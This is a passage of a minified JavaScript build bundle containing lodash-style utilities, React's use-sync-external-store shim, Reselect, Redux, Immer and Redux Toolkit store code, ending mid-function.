r!==null&&typeof r=="object"&&t.getTag(r)==="[object Arguments]"}e.isArguments=n})(PN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Lx,n=Vx,r=PN,i=kd;function s(o,l){let c;if(Array.isArray(l)?c=l:typeof l=="string"&&t.isDeepKey(l)&&(o==null?void 0:o[l])==null?c=i.toPath(l):c=[l],c.length===0)return!1;let u=o;for(let d=0;d<c.length;d++){const f=c[d];if((u==null||!Object.hasOwn(u,f))&&!((Array.isArray(u)||r.isArguments(u))&&n.isIndex(f)&&f<u.length))return!1;u=u[f]}return!0}e.has=s})(CN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Rx,n=Nd,r=zN,i=jd,s=CN;function o(l,c){switch(typeof l){case"object":{Object.is(l==null?void 0:l.valueOf(),-0)&&(l="-0");break}case"number":{l=n.toKey(l);break}}return c=r.cloneDeep(c),function(u){const d=i.get(u,l);return d===void 0?s.has(u,l):c===void 0?d===void 0:t.isMatch(d,c)}}e.matchesProperty=o})(kN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Dx,n=gN,r=yN,i=kN;function s(o){if(o==null)return t.identity;switch(typeof o){case"function":return o;case"object":return Array.isArray(o)&&o.length===2?i.matchesProperty(o[0],o[1]):r.matches(o);case"string":case"symbol":case"number":return n.property(o)}}e.iteratee=s})(vN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fN,n=mN,r=Dx,i=pN,s=vN;function o(l,c=r.identity){return i.isArrayLikeObject(l)?t.uniqBy(Array.from(l),n.ary(s.iteratee(c),1)):[]}e.uniqBy=o})(dN);var OA=dN.uniqBy;const hy=Wr(OA);function TA(e,t,n){return t===!0?hy(e,n):typeof t=="function"?hy(e,t):e}var EN={exports:{}},_N={},AN={exports:{}},ON={};/**
|
||
* @license React
|
||
* use-sync-external-store-shim.production.js
|
||
*
|
||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE file in the root directory of this source tree.
|
||
*/var ls=m;function MA(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var LA=typeof Object.is=="function"?Object.is:MA,IA=ls.useState,DA=ls.useEffect,RA=ls.useLayoutEffect,$A=ls.useDebugValue;function BA(e,t){var n=t(),r=IA({inst:{value:n,getSnapshot:t}}),i=r[0].inst,s=r[1];return RA(function(){i.value=n,i.getSnapshot=t,lm(i)&&s({inst:i})},[e,n,t]),DA(function(){return lm(i)&&s({inst:i}),e(function(){lm(i)&&s({inst:i})})},[e]),$A(n),n}function lm(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!LA(e,n)}catch{return!0}}function FA(e,t){return t()}var WA=typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?FA:BA;ON.useSyncExternalStore=ls.useSyncExternalStore!==void 0?ls.useSyncExternalStore:WA;AN.exports=ON;var UA=AN.exports;/**
|
||
* @license React
|
||
* use-sync-external-store-shim/with-selector.production.js
|
||
*
|
||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||
*
|
||
* This source code is licensed under the MIT license found in the
|
||
* LICENSE file in the root directory of this source tree.
|
||
*/var Cd=m,VA=UA;function HA(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var KA=typeof Object.is=="function"?Object.is:HA,GA=VA.useSyncExternalStore,YA=Cd.useRef,qA=Cd.useEffect,XA=Cd.useMemo,ZA=Cd.useDebugValue;_N.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=YA(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=XA(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,KA(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=GA(e,s[0],s[1]);return qA(function(){o.hasValue=!0,o.value=l},[l]),ZA(l),l};EN.exports=_N;var QA=EN.exports,Hx=m.createContext(null),JA=e=>e,ot=()=>{var e=m.useContext(Hx);return e?e.store.dispatch:JA},jc=()=>{},eO=()=>jc,tO=(e,t)=>e===t;function je(e){var t=m.useContext(Hx),n=m.useMemo(()=>t?r=>{if(r!=null)return e(r)}:jc,[t,e]);return QA.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:eO,t?t.store.getState:jc,t?t.store.getState:jc,n,tO)}function nO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function rO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function iO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var xy=e=>Array.isArray(e)?e:[e];function aO(e){const t=Array.isArray(e[0])?e[0]:e;return iO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function sO(e,t){const n=[],{length:r}=e;for(let i=0;i<r;i++)n.push(e[i].apply(null,t));return n}var oO=class{constructor(e){this.value=e}deref(){return this.value}},lO=typeof WeakRef<"u"?WeakRef:oO,cO=0,vy=1;function Wl(){return{s:cO,v:void 0,o:null,p:null}}function TN(e,t={}){let n=Wl();const{resultEqualityCheck:r}=t;let i,s=0;function o(){var f;let l=n;const{length:c}=arguments;for(let p=0,h=c;p<h;p++){const x=arguments[p];if(typeof x=="function"||typeof x=="object"&&x!==null){let g=l.o;g===null&&(l.o=g=new WeakMap);const y=g.get(x);y===void 0?(l=Wl(),g.set(x,l)):l=y}else{let g=l.p;g===null&&(l.p=g=new Map);const y=g.get(x);y===void 0?(l=Wl(),g.set(x,l)):l=y}}const u=l;let d;if(l.s===vy)d=l.v;else if(d=e.apply(null,arguments),s++,r){const p=((f=i==null?void 0:i.deref)==null?void 0:f.call(i))??i;p!=null&&r(p,d)&&(d=p,s!==0&&s--),i=typeof d=="object"&&d!==null||typeof d=="function"?new lO(d):d}return u.s=vy,u.v=d,d}return o.clearCache=()=>{n=Wl(),o.resetResultsCount()},o.resultsCount=()=>s,o.resetResultsCount=()=>{s=0},o}function uO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let s=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),nO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:p=[],argsMemoize:h=TN,argsMemoizeOptions:x=[]}=d,g=xy(p),y=xy(x),v=aO(i),b=f(function(){return s++,u.apply(null,arguments)},...g),w=h(function(){o++;const N=sO(v,arguments);return l=b.apply(null,N),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>s,resetRecomputations:()=>{s=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var I=uO(TN),dO=Object.assign((e,t=I)=>{rO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(s=>e[s]);return t(r,(...s)=>s.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>dO}),MN={},LN={},IN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,s)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(r<i)return s==="desc"?1:-1;if(r>i)return s==="desc"?-1:1}return s==="desc"?l-o:o-l}return 0};e.compareValues=n})(IN);var DN={},Kx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Kx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(s,o){return Array.isArray(s)?!1:typeof s=="number"||typeof s=="boolean"||s==null||t.isSymbol(s)?!0:typeof s=="string"&&(r.test(s)||!n.test(s))||o!=null&&Object.hasOwn(o,s)}e.isKey=i})(DN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=IN,n=DN,r=kd;function i(s,o,l,c){if(s==null)return[];l=c?void 0:l,Array.isArray(s)||(s=Object.values(s)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;y<x.length&&g!=null;++y)g=g[x[y]];return g},d=(h,x)=>x==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return s.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;g<f.length;g++){const y=t.compareValues(h.criteria[g],x.criteria[g],l[g]);if(y!==0)return y}return 0}).map(h=>h.original)}e.orderBy=i})(LN);var RN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],s=Math.floor(r),o=(l,c)=>{for(let u=0;u<l.length;u++){const d=l[u];Array.isArray(d)&&c<s?o(d,c+1):i.push(d)}};return o(n,0),i}e.flatten=t})(RN);var Gx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Vx,n=zd,r=$x,i=Fx;function s(o,l,c){return r.isObject(c)&&(typeof l=="number"&&n.isArrayLike(c)&&t.isIndex(l)&&l<c.length||typeof l=="string"&&l in c)?i.isEqualsSameValueZero(c[l],o):!1}e.isIterateeCall=s})(Gx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=LN,n=RN,r=Gx;function i(s,...o){const l=o.length;return l>1&&r.isIterateeCall(s,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(s,n.flatten(o),["asc"])}e.sortBy=i})(MN);var fO=MN.sortBy;const Pd=Wr(fO);var $N=e=>e.legend.settings,mO=e=>e.legend.size,pO=e=>e.legend.payload;I([pO,$N],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Pd(r,n):r});var Ul=1;function hO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=m.useState({height:0,left:0,top:0,width:0}),r=m.useCallback(i=>{if(i!=null){var s=i.getBoundingClientRect(),o={height:s.height,left:s.left,top:s.top,width:s.width};(Math.abs(o.height-t.height)>Ul||Math.abs(o.left-t.left)>Ul||Math.abs(o.top-t.top)>Ul||Math.abs(o.width-t.width)>Ul)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Pt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var xO=typeof Symbol=="function"&&Symbol.observable||"@@observable",gy=xO,cm=()=>Math.random().toString(36).substring(7).split("").join("."),vO={INIT:`@@redux/INIT${cm()}`,REPLACE:`@@redux/REPLACE${cm()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${cm()}`},su=vO;function Yx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function BN(e,t,n){if(typeof e!="function")throw new Error(Pt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Pt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Pt(1));return n(BN)(e,t)}let r=e,i=t,s=new Map,o=s,l=0,c=!1;function u(){o===s&&(o=new Map,s.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(Pt(3));return i}function f(y){if(typeof y!="function")throw new Error(Pt(4));if(c)throw new Error(Pt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(Pt(6));v=!1,u(),o.delete(b),s=null}}}function p(y){if(!Yx(y))throw new Error(Pt(7));if(typeof y.type>"u")throw new Error(Pt(8));if(typeof y.type!="string")throw new Error(Pt(17));if(c)throw new Error(Pt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(s=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(Pt(10));r=y,p({type:su.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(Pt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[gy](){return this}}}return p({type:su.INIT}),{dispatch:p,subscribe:f,getState:d,replaceReducer:h,[gy]:x}}function gO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:su.INIT})>"u")throw new Error(Pt(12));if(typeof n(void 0,{type:su.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Pt(13))})}function FN(e){const t=Object.keys(e),n={};for(let s=0;s<t.length;s++){const o=t[s];typeof e[o]=="function"&&(n[o]=e[o])}const r=Object.keys(n);let i;try{gO(n)}catch(s){i=s}return function(o={},l){if(i)throw i;let c=!1;const u={};for(let d=0;d<r.length;d++){const f=r[d],p=n[f],h=o[f],x=p(h,l);if(typeof x>"u")throw l&&l.type,new Error(Pt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function ou(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function yO(...e){return t=>(n,r)=>{const i=t(n,r);let s=()=>{throw new Error(Pt(15))};const o={getState:i.getState,dispatch:(c,...u)=>s(c,...u)},l=e.map(c=>c(o));return s=ou(...l)(i.dispatch),{...i,dispatch:s}}}function WN(e){return Yx(e)&&"type"in e&&typeof e.type=="string"}var UN=Symbol.for("immer-nothing"),yy=Symbol.for("immer-draftable"),Vt=Symbol.for("immer-state");function Un(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var un=Object,cs=un.getPrototypeOf,lu="constructor",Ed="prototype",Wp="configurable",cu="enumerable",Nc="writable",Bo="value",Ir=e=>!!e&&!!e[Vt];function Zn(e){var t;return e?VN(e)||Ad(e)||!!e[yy]||!!((t=e[lu])!=null&&t[yy])||Od(e)||Td(e):!1}var bO=un[Ed][lu].toString(),by=new WeakMap;function VN(e){if(!e||!qx(e))return!1;const t=cs(e);if(t===null||t===un[Ed])return!0;const n=un.hasOwnProperty.call(t,lu)&&t[lu];if(n===Object)return!0;if(!Ea(n))return!1;let r=by.get(n);return r===void 0&&(r=Function.toString.call(n),by.set(n,r)),r===bO}function _d(e,t,n=!0){ol(e)===0?(n?Reflect.ownKeys(e):un.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function ol(e){const t=e[Vt];return t?t.type_:Ad(e)?1:Od(e)?2:Td(e)?3:0}var wy=(e,t,n=ol(e))=>n===2?e.has(t):un[Ed].hasOwnProperty.call(e,t),Up=(e,t,n=ol(e))=>n===2?e.get(t):e[t],uu=(e,t,n,r=ol(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function wO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var Ad=Array.isArray,Od=e=>e instanceof Map,Td=e=>e instanceof Set,qx=e=>typeof e=="object",Ea=e=>typeof e=="function",um=e=>typeof e=="boolean";function jO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var Nr=e=>e.copy_||e.base_,Xx=e=>e.modified_?e.copy_:e.base_;function Vp(e,t){if(Od(e))return new Map(e);if(Td(e))return new Set(e);if(Ad(e))return Array[Ed].slice.call(e);const n=VN(e);if(t===!0||t==="class_only"&&!n){const r=un.getOwnPropertyDescriptors(e);delete r[Vt];let i=Reflect.ownKeys(r);for(let s=0;s<i.length;s++){const o=i[s],l=r[o];l[Nc]===!1&&(l[Nc]=!0,l[Wp]=!0),(l.get||l.set)&&(r[o]={[Wp]:!0,[Nc]:!0,[cu]:l[cu],[Bo]:e[o]})}return un.create(cs(e),r)}else{const r=cs(e);if(r!==null&&n)return{...e};const i=un.create(r);return un.assign(i,e)}}function Zx(e,t=!1){return Md(e)||Ir(e)||!Zn(e)||(ol(e)>1&&un.defineProperties(e,{set:Vl,add:Vl,clear:Vl,delete:Vl}),un.freeze(e),t&&_d(e,(n,r)=>{Zx(r,!0)},!1)),e}function NO(){Un(2)}var Vl={[Bo]:NO};function Md(e){return e===null||!qx(e)?!0:un.isFrozen(e)}var du="MapSet",Hp="Patches",jy="ArrayMethods",HN={};function fa(e){const t=HN[e];return t||Un(0,e),t}var Ny=e=>!!HN[e],Fo,KN=()=>Fo,kO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:Ny(du)?fa(du):void 0,arrayMethodsPlugin_:Ny(jy)?fa(jy):void 0});function ky(e,t){t&&(e.patchPlugin_=fa(Hp),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Kp(e){Gp(e),e.drafts_.forEach(zO),e.drafts_=null}function Gp(e){e===Fo&&(Fo=e.parent_)}var zy=e=>Fo=kO(Fo,e);function zO(e){const t=e[Vt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Sy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Vt].modified_&&(Kp(t),Un(4)),Zn(e)&&(e=Cy(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Vt].base_,e,t)}else e=Cy(t,n);return SO(t,e,!0),Kp(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==UN?e:void 0}function Cy(e,t){if(Md(t))return t;const n=t[Vt];if(!n)return fu(t,e.handledSet_,e);if(!Ld(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);qN(n,e)}return n.copy_}function SO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Zx(t,n)}function GN(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Ld=(e,t)=>e.scope_===t,CO=[];function YN(e,t,n,r){const i=Nr(e),s=e.type_;if(r!==void 0&&Up(i,r,s)===t){uu(i,r,n,s);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;_d(i,(c,u)=>{if(Ir(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??CO;for(const l of o)uu(i,l,n,s)}function PO(e,t,n){e.callbacks_.push(function(i){var l;const s=t;if(!s||!Ld(s,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(s);const o=Xx(s);YN(e,s.draft_??s,o,n),qN(s,i)})}function qN(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const s=i.getPath(e);s&&i.generatePatches_(e,s,t)}GN(e)}}function EO(e,t,n){const{scope_:r}=e;if(Ir(n)){const i=n[Vt];Ld(i,r)&&i.callbacks_.push(function(){kc(e);const o=Xx(i);YN(e,n,o,t)})}else Zn(n)&&e.callbacks_.push(function(){const s=Nr(e);e.type_===3?s.has(n)&&fu(n,r.handledSet_,r):Up(s,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&fu(Up(e.copy_,t,e.type_),r.handledSet_,r)})}function fu(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Ir(e)||t.has(e)||!Zn(e)||Md(e)||(t.add(e),_d(e,(r,i)=>{if(Ir(i)){const s=i[Vt];if(Ld(s,n)){const o=Xx(s);uu(e,r,o,e.type_),GN(s)}}else Zn(i)&&fu(i,t,n)})),e}function _O(e,t){const n=Ad(e),r={type_:n?1:0,scope_:t?t.scope_:KN(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,s=mu;n&&(i=[r],s=Wo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,[l,r]}var mu={get(e,t){if(t===Vt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=Nr(e);if(!wy(i,t,e.type_))return AO(e,i,t);const s=i[t];if(e.finalized_||!Zn(s)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&jO(t))return s;if(s===dm(e.base_,t)){kc(e);const o=e.type_===1?+t:t,l=qp(e.scope_,s,e,o);return e.copy_[o]=l}return s},has(e,t){return t in Nr(e)},ownKeys(e){return Reflect.ownKeys(Nr(e))},set(e,t,n){const r=XN(Nr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=dm(Nr(e),t),s=i==null?void 0:i[Vt];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(wO(n,i)&&(n!==void 0||wy(e.base_,t,e.type_)))return!0;kc(e),Yp(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),EO(e,t,n)),!0},deleteProperty(e,t){return kc(e),dm(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Yp(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Nr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[Nc]:!0,[Wp]:e.type_!==1||t!=="length",[cu]:r[cu],[Bo]:n[t]}},defineProperty(){Un(11)},getPrototypeOf(e){return cs(e.base_)},setPrototypeOf(){Un(12)}},Wo={};for(let e in mu){let t=mu[e];Wo[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}Wo.deleteProperty=function(e,t){return Wo.set.call(this,e,t,void 0)};Wo.set=function(e,t,n){return mu.set.call(this,e[0],t,n,e[0])};function dm(e,t){const n=e[Vt];return(n?Nr(n):e)[t]}function AO(e,t,n){var i;const r=XN(t,n);return r?Bo in r?r[Bo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function XN(e,t){if(!(t in e))return;let n=cs(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=cs(n)}}function Yp(e){e.modified_||(e.modified_=!0,e.parent_&&Yp(e.parent_))}function kc(e){e.copy_||(e.assigned_=new Map,e.copy_=Vp(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var OO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Ea(n)&&!Ea(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}Ea(r)||Un(6),i!==void 0&&!Ea(i)&&Un(7);let s;if(Zn(n)){const o=zy(this),l=qp(o,n,void 0);let c=!0;try{s=r(l),c=!1}finally{c?Kp(o):Gp(o)}return ky(o,i),Sy(s,o)}else if(!n||!qx(n)){if(s=r(n),s===void 0&&(s=n),s===UN&&(s=void 0),this.autoFreeze_&&Zx(s,!0),i){const o=[],l=[];fa(Hp).generateReplacementPatches_(n,s,{patches_:o,inversePatches_:l}),i(o,l)}return s}else Un(1,n)},this.produceWithPatches=(n,r)=>{if(Ea(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,s;return[this.produce(n,r,(l,c)=>{i=l,s=c}),i,s]},um(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),um(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),um(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Zn(t)||Un(8),Ir(t)&&(t=Yn(t));const n=zy(this),r=qp(n,t,void 0);return r[Vt].isManual_=!0,Gp(n),r}finishDraft(t,n){const r=t&&t[Vt];(!r||!r.isManual_)&&Un(9);const{scope_:i}=r;return ky(i,n),Sy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const s=n[r];if(s.path.length===0&&s.op==="replace"){t=s.value;break}}r>-1&&(n=n.slice(r+1));const i=fa(Hp).applyPatches_;return Ir(t)?i(t,n):this.produce(t,s=>i(s,n))}};function qp(e,t,n,r){const[i,s]=Od(t)?fa(du).proxyMap_(t,n):Td(t)?fa(du).proxySet_(t,n):_O(t,n);return((n==null?void 0:n.scope_)??KN()).drafts_.push(i),s.callbacks_=(n==null?void 0:n.callbacks_)??[],s.key_=r,n&&r!==void 0?PO(n,s,r):s.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(s);const{patchPlugin_:u}=c;s.modified_&&u&&u.generatePatches_(s,[],c)}),i}function Yn(e){return Ir(e)||Un(10,e),ZN(e)}function ZN(e){if(!Zn(e)||Md(e))return e;const t=e[Vt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Vp(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Vp(e,!0);return _d(n,(i,s)=>{uu(n,i,ZN(s))},r),t&&(t.finalized_=!1),n}var TO=new OO,QN=TO.produce;function JN(e){return({dispatch:n,getState:r})=>i=>s=>typeof s=="function"?s(n,r,e):i(s)}var MO=JN(),LO=JN,IO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?ou:ou.apply(null,arguments)};function On(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(mn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>WN(r)&&r.type===e,n}var ek=class ro extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,ro.prototype)}static get[Symbol.species](){return ro}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new ro(...t[0].concat(this)):new ro(...t.concat(this))}};function Py(e){return Zn(e)?QN(e,()=>{}):e}function Hl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function DO(e){return typeof e=="boolean"}var RO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:s=!0}=t??{};let o=new ek;return n&&(DO(n)?o.push(MO):o.push(LO(n.extraArgument))),o},tk="RTK_autoBatch",He=()=>e=>({payload:e,meta:{[tk]:!0}}),Ey=e=>t=>{setTimeout(t,e)},nk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,s=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Ey(10):e.type==="callback"?e.queueNotification:Ey(e.timeout),u=()=>{o=!1,s&&(s=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),p=r.subscribe(f);return l.add(d),()=>{p(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[tk]),s=!i,s&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},$O=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new ek(e);return r&&i.push(nk(typeof r=="object"?r:void 0)),i};function BO(e){const t=RO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:s=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Yx(n))l=FN(n);else throw new Error(mn(1));let c;typeof r=="function"?c=r(t):c=t();let u=ou;i&&(u=IO({trace:!1,...typeof i=="object"&&i}));const d=yO(...c),f=$O(d);let p=typeof o=="function"?o(f):f();const h=u(...p);return BN(l,s,h)}function rk(e){const t={},n=[];let r;const i={addCase(s,o){const l=typeof s=="string"?s:s.type;if(!l)throw new Error(mn(28));if(l in t)throw new Error(mn(29));return t[l]=o,i},addAsyncThunk(s,o){return o.pending&&(t[s.pending.type]=o.pending),o.rejected&&(t[s.rejected.type]=o.rejected),o.fulfilled&&(t[s.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:s.settled,reducer:o.settled}),i},addMatcher(s,o){return 